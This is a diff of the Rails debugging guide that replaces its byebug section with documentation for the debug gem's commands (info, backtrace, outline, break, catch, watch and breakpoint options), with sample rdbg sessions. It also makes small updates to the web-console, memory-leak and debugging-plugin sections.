-Any expression can be evaluated in the current context. To evaluate an
-expression, just type it!
-
-This example shows how you can print the instance variables defined within the
-current context:
-
-```
-[3, 12] in /PathTo/project/app/controllers/articles_controller.rb
-    3:
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     byebug
-=>  8:     @articles = Article.find_recent
-    9:
-   10:     respond_to do |format|
-   11:       format.html # index.html.erb
-   12:       format.json { render json: @articles }
-
-(byebug) instance_variables
-[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
- :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
- :@_config]
+```ruby
+(rdbg) p headers    # command
+=> {"X-Frame-Options"=>"SAMEORIGIN", "X-XSS-Protection"=>"1; mode=block", "X-Content-Type-Options"=>"nosniff", "X-Download-Options"=>"noopen", "X-Permitted-Cross-Domain-Policies"=>"none", "Referrer-Policy"=>"strict-origin-when-cross-origin"}
+(rdbg) pp headers    # command
+{"X-Frame-Options"=>"SAMEORIGIN",
+ "X-XSS-Protection"=>"1; mode=block",
+ "X-Content-Type-Options"=>"nosniff",
+ "X-Download-Options"=>"noopen",
+ "X-Permitted-Cross-Domain-Policies"=>"none",
+ "Referrer-Policy"=>"strict-origin-when-cross-origin"}
+(rdbg)
 ```
 
-As you may have figured out, all of the variables that you can access from a
-controller are displayed. This list is dynamically updated as you execute code.
-For example, run the next line using `next` (you'll learn more about this
-command later in this guide).
+Besides direct evaluation, the debugger also helps you collect a rich amount of information through different commands, such as:
 
-```
-(byebug) next
+- `info` (or `i`) - Information about current frame.
+- `backtrace` (or `bt`) - Backtrace (with additional information).
+- `outline` (or `o`, `ls`) - Available methods, constants, local variables, and instance variables in the current scope.
 
-[5, 14] in /PathTo/project/app/controllers/articles_controller.rb
-   5     # GET /articles.json
-   6     def index
-   7       byebug
-   8       @articles = Article.find_recent
-   9
-=> 10       respond_to do |format|
-   11         format.html # index.html.erb
-   12        format.json { render json: @articles }
-   13      end
-   14    end
-   15
-(byebug)
-```
+#### The `info` Command
 
-And then ask again for the instance_variables:
+`info` provides an overview of the values of local and instance variables that are visible from the current frame.
 
-```
-(byebug) instance_variables
-[:@_action_has_layout, :@_routes, :@_request, :@_response, :@_lookup_context,
- :@_action_name, :@_response_body, :@marked_for_same_origin_verification,
- :@_config, :@articles]
+```ruby
+(rdbg) info    # command
+%self = #<PostsController:0x0000000000af78>
+@_action_has_layout = true
+@_action_name = "index"
+@_config = {}
+@_lookup_context = #<ActionView::LookupContext:0x00007fd91a037e38 @details_key=nil, @digest_cache=...
+@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
+@_response = #<ActionDispatch::Response:0x00007fd91a03ea08 @mon_data=#<Monitor:0x00007fd91a03e8c8>...
+@_response_body = nil
+@_routes = nil
+@marked_for_same_origin_verification = true
+@posts = []
+@rendered_format = nil
 ```
 
-Now `@articles` is included in the instance variables, because the line defining
-it was executed.
+#### The `backtrace` Command
 
-TIP: You can also step into **irb** mode with the command `irb` (of course!).
-This will start an irb session within the context you invoked it.
-
-The `var` method is the most convenient way to show variables and their values.
-Let's have `byebug` help us with it.
+When used without any options, `backtrace` lists all the frames on the stack:
 
+```ruby
+=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
+  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-2.0.alpha/lib/action_controller/metal/basic_implicit_render.rb:6
+  #2    AbstractController::Base#process_action(method_name="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.2.0.alpha/lib/abstract_controller/base.rb:214
+  #3    ActionController::Rendering#process_action(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.2.0.alpha/lib/action_controller/metal/rendering.rb:53
+  #4    block in process_action at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-8.2.0.alpha/lib/abstract_controller/callbacks.rb:221
+  #5    block in run_callbacks at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-8.2.0.alpha/lib/active_support/callbacks.rb:118
+  #6    ActionText::Rendering::ClassMethods#with_renderer(renderer=#<PostsController:0x0000000000af78>) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-8.2.0.alpha/lib/action_text/rendering.rb:20
+  #7    block {|controller=#<PostsController:0x0000000000af78>, action=#<Proc:0x00007fd91985f1c0 /Users/st0012/...|} in <class:Engine> (4 levels) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actiontext-8.2.0.alpha/lib/action_text/engine.rb:69
+  #8    [C] BasicObject#instance_exec at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activesupport-8.2.0.alpha/lib/active_support/callbacks.rb:127
+  ..... and more
 ```
-(byebug) help var
 
-  [v]ar <subcommand>
+Every frame comes with:
 
-  Shows variables and its values
+- Frame identifier
+- Call location
+- Additional information (e.g. block or method arguments)
 
+This will give you a great sense about what is happening in your app. However, you probably will notice that:
 
-  var all      -- Shows local, global and instance variables of self.
-  var args     -- Information about arguments of the current scope
-  var const    -- Shows constants of an object.
-  var global   -- Shows global variables.
-  var instance -- Shows instance variables of self or a specific object.
-  var local    -- Shows local variables in current scope.
+- There are too many frames (usually 50+ in a Rails app).
+- Most of the frames are from Rails or other libraries you use.
 
-```
+The `backtrace` command provides 2 options to help you filter frames:
 
-This is a great way to inspect the values of the current context variables. For
-example, to check that we have no local variables currently defined:
+- `backtrace [num]` - only show `num` numbers of frames, e.g. `backtrace 10` .
+- `backtrace /pattern/` - only show frames with identifier or location that matches the pattern, e.g. `backtrace /MyModel/`.
 
-```
-(byebug) var local
-(byebug)
-```
+It is also possible to use these options together: `backtrace [num] /pattern/`.
 
-You can also inspect for an object method this way:
+#### The `outline` Command
 
-```
-(byebug) var instance Article.new
-@_start_transaction_state = {}
-@aggregation_cache = {}
-@association_cache = {}
-@attributes = #<ActiveRecord::AttributeSet:0x007fd0682a9b18 @attributes={"id"=>#<ActiveRecord::Attribute::FromDatabase:0x007fd0682a9a00 @name="id", @value_be...
-@destroyed = false
-@destroyed_by_association = nil
-@marked_for_destruction = false
-@new_record = true
-@readonly = false
-@transaction_state = nil
-@txn = nil
-```
+`outline` is similar to `pry` and `irb`'s `ls` command. It will show you what is accessible from the current scope, including:
 
-You can also use `display` to start watching variables. This is a good way of
-tracking the values of a variable while the execution goes on.
+- Local variables
+- Instance variables
+- Class variables
+- Methods & their sources
 
-```
-(byebug) display @articles
-1: @articles = nil
+```ruby
+ActiveSupport::Configurable#methods: config
+AbstractController::Base#methods:
+  action_methods  action_name  action_name=  available_action?  controller_path  inspect
+  response_body
+ActionController::Metal#methods:
+  content_type       content_type=  controller_name  dispatch          headers
+  location           location=      media_type       middleware_stack  middleware_stack=
+  middleware_stack?  performed?     request          request=          reset_session
+  response           response=      response_body=   response_code     session
+  set_request!       set_response!  status           status=           to_a
+ActionView::ViewPaths#methods:
+  _prefixes  any_templates?  append_view_path   details_for_lookup  formats     formats=  locale
+  locale=    lookup_context  prepend_view_path  template_exists?    view_paths
+AbstractController::Rendering#methods: view_assigns
+
+# .....
+
+PostsController#methods: create  destroy  edit  index  new  show  update
+instance variables:
+  @_action_has_layout  @_action_name    @_config  @_lookup_context                      @_request
+  @_response           @_response_body  @_routes  @marked_for_same_origin_verification  @posts
+  @rendered_format
+class variables: @@raise_on_open_redirects
 ```
 
-The variables inside the displayed list will be printed with their values after
-you move in the stack. To stop displaying a variable use `undisplay n` where
-_n_ is the variable number (1 in the last example).
+### Breakpoints
 
-### Step by Step
+There are many ways to insert and trigger a breakpoint in the debugger. In addition to adding debugging statements (e.g. `debugger`) directly in your code, you can also insert breakpoints with commands:
 
-Now you should know where you are in the running trace and be able to print the
-available variables. But let's continue and move on with the application
-execution.
+- `break` (or `b`)
+  - `break` - list all breakpoints
+  - `break <num>` - set a breakpoint on the `num` line of the current file
+  - `break <file:num>` - set a breakpoint on the `num` line of `file`
+  - `break <Class#method>` or `break <Class.method>` - set a breakpoint on `Class#method` or `Class.method`
+  - `break <expr>.<method>` - sets a breakpoint on `<expr>` result's `<method>` method.
+- `catch <Exception>` - set a breakpoint that'll stop when `Exception` is raised
+- `watch <@ivar>` - set a breakpoint that'll stop when the result of current object's `@ivar` is changed (this is slow)
 
-Use `step` (abbreviated `s`) to continue running your program until the next
-logical stopping point and return control to the debugger. `next` is similar to
-`step`, but while `step` stops at the next line of code executed, doing just a
-single step, `next` moves to the next line without descending inside methods.
+And to remove them, you can use:
 
-For example, consider the following situation:
+- `delete` (or `del`)
+  - `delete` - delete all breakpoints
+  - `delete <num>` - delete the breakpoint with id `num`
 
-```
-Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200
-Processing by ArticlesController#index as HTML
+#### The `break` Command
 
-[1, 6] in /PathToProject/app/models/article.rb
-   1: class Article < ApplicationRecord
-   2:   def self.find_recent(limit = 10)
-   3:     byebug
-=> 4:     where('created_at > ?', 1.week.ago).limit(limit)
-   5:   end
-   6: end
+**Set a breakpoint on a specified line number - e.g. `b 28`**
 
-(byebug)
+```ruby
+[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+    20|   end
+    21|
+    22|   # POST /posts or /posts.json
+    23|   def create
+    24|     @post = Post.new(post_params)
+=>  25|     debugger
+    26|
+    27|     respond_to do |format|
+    28|       if @post.save
+    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
+=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
+  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg) b 28    # break command
+#0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)
 ```
 
-If we use `next`, we won't go deep inside method calls. Instead, `byebug` will
-go to the next line within the same context. In this case, it is the last line
-of the current method, so `byebug` will return to the next line of the caller
-method.
+```ruby
+(rdbg) c    # continue command
+[23, 32] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+    23|   def create
+    24|     @post = Post.new(post_params)
+    25|     debugger
+    26|
+    27|     respond_to do |format|
+=>  28|       if @post.save
+    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
+    30|         format.json { render :show, status: :created, location: @post }
+    31|       else
+    32|         format.html { render :new, status: :unprocessable_entity }
+=>#0    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
+  #1    ActionController::MimeResponds#respond_to(mimes=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/mime_responds.rb:205
+  # and 74 frames (use `bt' command for all frames)
+
+Stop by #0  BP - Line  /Users/st0012/projects/rails-guide-example/app/controllers/posts_controller.rb:28 (line)
+```
+
+Set a breakpoint on a given method call - e.g. `b @post.save`.
 
-```
-(byebug) next
-[4, 13] in /PathToProject/app/controllers/articles_controller.rb
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     @articles = Article.find_recent
-    8:
-=>  9:     respond_to do |format|
-   10:       format.html # index.html.erb
-   11:       format.json { render json: @articles }
-   12:     end
-   13:   end
+```ruby
+[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+    20|   end
+    21|
+    22|   # POST /posts or /posts.json
+    23|   def create
+    24|     @post = Post.new(post_params)
+=>  25|     debugger
+    26|
+    27|     respond_to do |format|
+    28|       if @post.save
+    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
+=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
+  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg) b @post.save    # break command
+#0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43
 
-(byebug)
 ```
 
-If we use `step` in the same situation, `byebug` will literally go to the next
-Ruby instruction to be executed -- in this case, Active Support's `week` method.
-
-```
-(byebug) step
+```ruby
+(rdbg) c    # continue command
+[39, 48] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb
+    39|         SuppressorRegistry.suppressed[name] = previous_state
+    40|       end
+    41|     end
+    42|
+    43|     def save(**) # :nodoc:
+=>  44|       SuppressorRegistry.suppressed[self.class.name] ? true : super
+    45|     end
+    46|
+    47|     def save!(**) # :nodoc:
+    48|       SuppressorRegistry.suppressed[self.class.name] ? true : super
+=>#0    ActiveRecord::Suppressor#save(#arg_rest=nil) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:44
+  #1    block {|format=#<ActionController::MimeResponds::Collec...|} in create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:28
+  # and 75 frames (use `bt' command for all frames)
 
-[49, 58] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb
-   49:
-   50:   # Returns a Duration instance matching the number of weeks provided.
-   51:   #
-   52:   #   2.weeks # => 14 days
-   53:   def weeks
-=> 54:     ActiveSupport::Duration.weeks(self)
-   55:   end
-   56:   alias :week :weeks
-   57:
-   58:   # Returns a Duration instance matching the number of fortnights provided.
-(byebug)
+Stop by #0  BP - Method  @post.save at /Users/st0012/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/suppressor.rb:43
 ```
 
-This is one of the best ways to find bugs in your code.
-
-TIP: You can also use `step n` or `next n` to move forward `n` steps at once.
-
-### Breakpoints
-
-A breakpoint makes your application stop whenever a certain point in the program
-is reached. The debugger shell is invoked in that line.
-
-You can add breakpoints dynamically with the command `break` (or just `b`).
-There are 3 possible ways of adding breakpoints manually:
+#### The `catch` Command
 
-* `break n`: set breakpoint in line number _n_ in the current source file.
-* `break file:n [if expression]`: set breakpoint in line number _n_ inside
-file named _file_. If an _expression_ is given it must evaluated to _true_ to
-fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and
-\# for class and instance method respectively) defined in _class_. The
-_expression_ works the same way as with file:n.
-
-For example, in the previous situation
+Stop when an exception is raised - e.g. `catch ActiveRecord::RecordInvalid`.
 
+```ruby
+[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+    20|   end
+    21|
+    22|   # POST /posts or /posts.json
+    23|   def create
+    24|     @post = Post.new(post_params)
+=>  25|     debugger
+    26|
+    27|     respond_to do |format|
+    28|       if @post.save!
+    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
+=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
+  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg) catch ActiveRecord::RecordInvalid    # command
+#1  BP - Catch  "ActiveRecord::RecordInvalid"
 ```
-[4, 13] in /PathToProject/app/controllers/articles_controller.rb
-    4:   # GET /articles
-    5:   # GET /articles.json
-    6:   def index
-    7:     @articles = Article.find_recent
-    8:
-=>  9:     respond_to do |format|
-   10:       format.html # index.html.erb
-   11:       format.json { render json: @articles }
-   12:     end
-   13:   end
 
-(byebug) break 11
-Successfully created breakpoint with id 1
+```ruby
+(rdbg) c    # continue command
+[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
+    75|     def default_validation_context
+    76|       new_record? ? :create : :update
+    77|     end
+    78|
+    79|     def raise_validation_error
+=>  80|       raise(RecordInvalid.new(self))
+    81|     end
+    82|
+    83|     def perform_validations(options = {})
+    84|       options[:validate] == false || valid?(options[:context])
+=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
+  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
+  # and 88 frames (use `bt' command for all frames)
 
+Stop by #1  BP - Catch  "ActiveRecord::RecordInvalid"
 ```
 
-Use `info breakpoints` to list breakpoints. If you supply a number, it lists
-that breakpoint. Otherwise it lists all breakpoints.
+#### The `watch` Command
 
-```
-(byebug) info breakpoints
-Num Enb What
-1   y   at /PathToProject/app/controllers/articles_controller.rb:11
-```
+Stop when the instance variable is changed - e.g. `watch @_response_body`.
 
-To delete breakpoints: use the command `delete n` to remove the breakpoint
-number _n_. If no number is specified, it deletes all breakpoints that are
-currently active.
-
-```
-(byebug) delete 1
-(byebug) info breakpoints
-No breakpoints.
+```ruby
+[20, 29] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+    20|   end
+    21|
+    22|   # POST /posts or /posts.json
+    23|   def create
+    24|     @post = Post.new(post_params)
+=>  25|     debugger
+    26|
+    27|     respond_to do |format|
+    28|       if @post.save!
+    29|         format.html { redirect_to @post, notice: "Post was successfully created." }
+=>#0    PostsController#create at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:25
+  #1    ActionController::BasicImplicitRender#send_action(method="create", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg) watch @_response_body    # command
+#0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =
 ```
 
-You can also enable or disable breakpoints:
-
-* `enable breakpoints [n [m [...]]]`: allows a specific breakpoint list or all
-breakpoints to stop your program. This is the default state when you create a
-breakpoint.
-* `disable breakpoints [n [m [...]]]`: make certain (or all) breakpoints have
-no effect on your program.
-
-### Catching Exceptions
-
-The command `catch exception-name` (or just `cat exception-name`) can be used to
-intercept an exception of type _exception-name_ when there would otherwise be no
-handler for it.
-
-To list all active catchpoints use `catch`.
-
-### Resuming Execution
-
-There are two ways to resume execution of an application that is stopped in the
-debugger:
-
-* `continue [n]`: resumes program execution at the address where your script last
-stopped; any breakpoints set at that address are bypassed. The optional argument
-`n` allows you to specify a line number to set a one-time breakpoint which is
-deleted when that breakpoint is reached.
-* `finish [n]`: execute until the selected stack frame returns. If no frame
-number is given, the application will run until the currently selected frame
-returns. The currently selected frame starts out the most-recent frame or 0 if
-no frame positioning (e.g up, down or frame) has been performed. If a frame
-number is given it will run until the specified frame returns.
-
-### Editing
-
-Two commands allow you to open code from the debugger into an editor:
-
-* `edit [file:n]`: edit file named _file_ using the editor specified by the
-EDITOR environment variable. A specific line _n_ can also be given.
-
-### Quitting
-
-To exit the debugger, use the `quit` command (abbreviated to `q`). Or, type `q!`
-to bypass the `Really quit? (y/n)` prompt and exit unconditionally.
-
-A simple quit tries to terminate all threads in effect. Therefore your server
-will be stopped and you will have to start it again.
-
-### Settings
+```ruby
+(rdbg) c    # continue command
+[173, 182] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb
+   173|       body = [body] unless body.nil? || body.respond_to?(:each)
+   174|       response.reset_body!
+   175|       return unless body
+   176|       response.body = body
+   177|       super
+=> 178|     end
+   179|
+   180|     # Tests if render or redirect has already happened.
+   181|     def performed?
+   182|       response_body || response.committed?
+=>#0    ActionController::Metal#response_body=(body=["<html><body>You are being <a href=\"ht...) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal.rb:178 #=> ["<html><body>You are being <a href=\"ht...
+  #1    ActionController::Redirecting#redirect_to(options=#<Post id: 13, title: "qweqwe", content:..., response_options={:allow_other_host=>false}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/redirecting.rb:74
+  # and 82 frames (use `bt' command for all frames)
+
+Stop by #0  BP - Watch  #<PostsController:0x00007fce69ca5320> @_response_body =  -> ["<html><body>You are being <a href=\"http://localhost:3000/posts/13\">redirected</a>.</body></html>"]
+(rdbg)
+```
+
+#### Breakpoint Options
+
+In addition to different types of breakpoints, you can also specify options to achieve more advanced debugging workflows. Currently, the debugger supports 4 options:
+
+- `do: <cmd or expr>` - when the breakpoint is triggered, execute the given command/expression and continue the program:
+  - `break Foo#bar do: bt` - when `Foo#bar` is called, print the stack frames.
+- `pre: <cmd or expr>` - when the breakpoint is triggered, execute the given command/expression before stopping:
+  - `break Foo#bar pre: info` - when `Foo#bar` is called, print its surrounding variables before stopping.
+- `if: <expr>` - the breakpoint only stops if the result of `<expr`> is true:
+  - `break Post#save if: params[:debug]` - stops at `Post#save` if `params[:debug]` is also true.
+- `path: <path_regexp>` - the breakpoint only stops if the event that triggers it (e.g. a method call) happens from the given path:
+  - `break Post#save path: app/services/a_service` - stops at `Post#save` if the method call happens at a path that includes `app/services/a_service`.
+
+Please also note that the first 3 options: `do:`, `pre:` and `if:` are also available for the debug statements we mentioned earlier. For example:
 
-`byebug` has a few available options to tweak its behavior:
+```ruby
+[2, 11] in ~/projects/rails-guide-example/app/controllers/posts_controller.rb
+     2|   before_action :set_post, only: %i[ show edit update destroy ]
+     3|
+     4|   # GET /posts or /posts.json
+     5|   def index
+     6|     @posts = Post.all
+=>   7|     debugger(do: "info")
+     8|   end
+     9|
+    10|   # GET /posts/1 or /posts/1.json
+    11|   def show
+=>#0    PostsController#index at ~/projects/rails-guide-example/app/controllers/posts_controller.rb:7
+  #1    ActionController::BasicImplicitRender#send_action(method="index", args=[]) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/actionpack-7.0.0.alpha2/lib/action_controller/metal/basic_implicit_render.rb:6
+  # and 72 frames (use `bt' command for all frames)
+(rdbg:binding.break) info
+%self = #<PostsController:0x00000000017480>
+@_action_has_layout = true
+@_action_name = "index"
+@_config = {}
+@_lookup_context = #<ActionView::LookupContext:0x00007fce3ad336b8 @details_key=nil, @digest_cache=...
+@_request = #<ActionDispatch::Request GET "http://localhost:3000/posts" for 127.0.0.1>
+@_response = #<ActionDispatch::Response:0x00007fce3ad397e8 @mon_data=#<Monitor:0x00007fce3ad396a8>...
+@_response_body = nil
+@_routes = nil
+@marked_for_same_origin_verification = true
+@posts = #<ActiveRecord::Relation [#<Post id: 2, title: "qweqwe", content: "qweqwe", created_at: "...
+@rendered_format = nil
+```
+
+#### Program Your Debugging Workflow
+
+With those options, you can script your debugging workflow in one line like:
 
+```ruby
+def create
+  debugger(do: "catch ActiveRecord::RecordInvalid do: bt 10")
+  # ...
+end
 ```
-(byebug) help set
-
-  set <setting> <value>
-
-  Modifies byebug settings
 
-  Boolean values take "on", "off", "true", "false", "1" or "0". If you
-  don't specify a value, the boolean setting will be enabled. Conversely,
-  you can use "set no<setting>" to disable them.
+And then the debugger will run the scripted command and insert the catch breakpoint
 
-  You can see these environment settings with the "show" command.
+```ruby
+(rdbg:binding.break) catch ActiveRecord::RecordInvalid do: bt 10
+#0  BP - Catch  "ActiveRecord::RecordInvalid"
+[75, 84] in ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb
+    75|     def default_validation_context
+    76|       new_record? ? :create : :update
+    77|     end
+    78|
+    79|     def raise_validation_error
+=>  80|       raise(RecordInvalid.new(self))
+    81|     end
+    82|
+    83|     def perform_validations(options = {})
+    84|       options[:validate] == false || valid?(options[:context])
+=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
+  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
+  # and 88 frames (use `bt' command for all frames)
+```
+
+Once the catch breakpoint is triggered, it'll print the stack frames
 
-  List of supported settings:
+```ruby
+Stop by #0  BP - Catch  "ActiveRecord::RecordInvalid"
 
-  autosave       -- Automatically save command history record on exit
-  autolist       -- Invoke list command on every stop
-  width          -- Number of characters per line in byebug's output
-  autoirb        -- Invoke IRB on every stop
-  basename       -- <file>:<line> information after every stop uses short paths
-  linetrace      -- Enable line execution tracing
-  autopry        -- Invoke Pry on every stop
-  stack_on_error -- Display stack trace when `eval` raises an exception
-  fullpath       -- Display full file names in backtraces
-  histfile       -- File where cmd history is saved to. Default: ./.byebug_history
-  listsize       -- Set number of source lines to list by default
-  post_mortem    -- Enable/disable post-mortem mode
-  callstyle      -- Set how you want method call parameters to be displayed
-  histsize       -- Maximum number of commands that can be stored in byebug history
-  savefile       -- File where settings are saved to. Default: ~/.byebug_save
+(rdbg:catch) bt 10
+=>#0    ActiveRecord::Validations#raise_validation_error at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:80
+  #1    ActiveRecord::Validations#save!(options={}) at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/validations.rb:53
+  #2    block in save! at ~/.rbenv/versions/3.0.1/lib/ruby/gems/3.0.0/gems/activerecord-7.0.0.alpha2/lib/active_record/transactions.rb:302
 ```
 
-TIP: You can save these settings in an `.byebugrc` file in your home directory.
-The debugger reads these global settings when it starts. For example:
+This technique can save you from repeated manual input and make the debugging experience smoother.
 
-```bash
-set callstyle short
-set listsize 25
-```
+You can find more commands and configuration options from its [documentation](https://github.com/ruby/debug).
 
-Debugging with the `web-console` gem
+Debugging with the `web-console` Gem
 ------------------------------------
 
-Web Console is a bit like `byebug`, but it runs in the browser. In any page you
-are developing, you can request a console in the context of a view or a
-controller. The console would be rendered next to your HTML content.
+Web Console is a bit like `debug`, but it runs in the browser. You can request a console in the context of a view or a controller on any page. The console would be rendered next to your HTML content.
 
 ### Console
 
@@ -876,7 +842,7 @@ location of the `console` call; it won't be rendered on the spot of its
 invocation but next to your HTML content.
 
 The console executes pure Ruby code: You can define and instantiate
-custom classes, create new models and inspect variables.
+custom classes, create new models, and inspect variables.
 
 NOTE: Only one console can be rendered per request. Otherwise `web-console`
 will raise an error on the second `console` invocation.
@@ -889,10 +855,10 @@ do that with `local_variables`.
 
 ### Settings
 
-* `config.web_console.whitelisted_ips`: Authorized list of IPv4 or IPv6
-addresses and networks (defaults: `127.0.0.1/8, ::1`).
+* `config.web_console.allowed_ips`: Authorized list of IPv4 or IPv6
+  addresses and networks (defaults: `127.0.0.1/8, ::1`).
 * `config.web_console.whiny_requests`: Log a message when a console rendering
-is prevented (defaults: `true`).
+  is prevented (defaults: `true`).
 
 Since `web-console` evaluates plain Ruby code remotely on the server, don't try
 to use it in production.
@@ -903,7 +869,7 @@ Debugging Memory Leaks
 A Ruby application (on Rails or not), can leak memory — either in the Ruby code
 or at the C code level.
 
-In this section, you will learn how to find and fix such leaks by using tool
+In this section, you will learn how to find and fix such leaks by using tools
 such as Valgrind.
 
 ### Valgrind
@@ -917,39 +883,37 @@ extension in the interpreter calls `malloc()` but doesn't properly call
 `free()`, this memory won't be available until the app terminates.
 
 For further information on how to install Valgrind and use with Ruby, refer to
-[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/)
+[Valgrind and Ruby](https://web.archive.org/web/20230518081626/https://blog.evanweaver.com/2008/02/05/valgrind-and-ruby/)
 by Evan Weaver.
 
+### Find a Memory Leak
+
+There is an excellent article about detecting and fixing memory leaks at Derailed, [which you can read here](https://github.com/schneems/derailed_benchmarks#is-my-app-leaking-memory).
+
+
 Plugins for Debugging
 ---------------------
 
 There are some Rails plugins to help you to find errors and debug your
 application. Here is a list of useful plugins for debugging:
 
-* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has
-footnotes that give request information and link back to your source via
-TextMate.
 * [Query Trace](https://github.com/ruckus/active-record-query-trace/tree/master) Adds query
-origin tracing to your logs.
-* [Query Reviewer](https://github.com/nesquena/query_reviewer) This Rails plugin
-not only runs "EXPLAIN" before each of your select queries in development, but
-provides a small DIV in the rendered output of each page with the summary of
-warnings for each query that it analyzed.
+  origin tracing to your logs.
 * [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master)
-Provides a mailer object and a default set of templates for sending email
-notifications when errors occur in a Rails application.
+  Provides a mailer object and a default set of templates for sending email
+  notifications when errors occur in a Rails application.
 * [Better Errors](https://github.com/charliesome/better_errors) Replaces the
-standard Rails error page with a new one containing more contextual information,
-like source code and variable inspection.
+  standard Rails error page with a new one containing more contextual information,
+  like source code and variable inspection.
 * [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails
-development that will end your tailing of development.log. Have all information
-about your Rails app requests in the browser — in the Developer Tools panel.
-Provides insight to db/rendering/total times, parameter list, rendered views and
-more.
